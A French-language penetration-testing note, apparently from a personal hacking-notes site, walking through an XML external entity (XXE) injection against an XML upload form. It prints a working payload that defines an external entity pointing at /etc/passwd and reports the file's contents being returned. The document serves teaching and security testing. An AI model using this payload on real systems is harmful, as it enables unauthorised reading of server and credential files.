> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-vulnerability-file-reader-web-penetration-testing.md).

# Lecteur de fichiers via vulnérabilité XXE

## Exploitation d’injection XXE

<figure><img src="/files/5bc9f78051932fe2178aa91cc7d288e033998218" alt=""><figcaption></figcaption></figure>

Téléversement de fichier TXT : refusé ; seuls les fichiers XML sont acceptés.

```
Bonjour, ceci est un test

```

<figure><img src="/files/aa2df0ce2a2bba09cd73e7b00b4febfd951a8bdf" alt=""><figcaption></figcaption></figure>

Format de requête :

```xml
<post>
    <title>Exemple de publication</title>
    <description>Exemple de description</description>
    <markdown>Exemple de Markdown</markdown>
</post>

```

<figure><img src="/files/a53e208445b53f316ff570266335e140d2f44c75" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7c9507d8395349945f295323259ee80e93c91731" alt=""><figcaption></figcaption></figure>

Envoi d’un fichier XML contenant une entité externe à lire `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Exemple de publication</title>
    <description>Exemple de description</description>
    <markdown>&xxe;</markdown>
</post>

```

Résultat : Le contenu de `/etc/passwd` est affiché.

<figure><img src="/files/b3b9cbdaaef7220038a7315898d39605710f3872" alt=""><figcaption></figcaption></figure>


---

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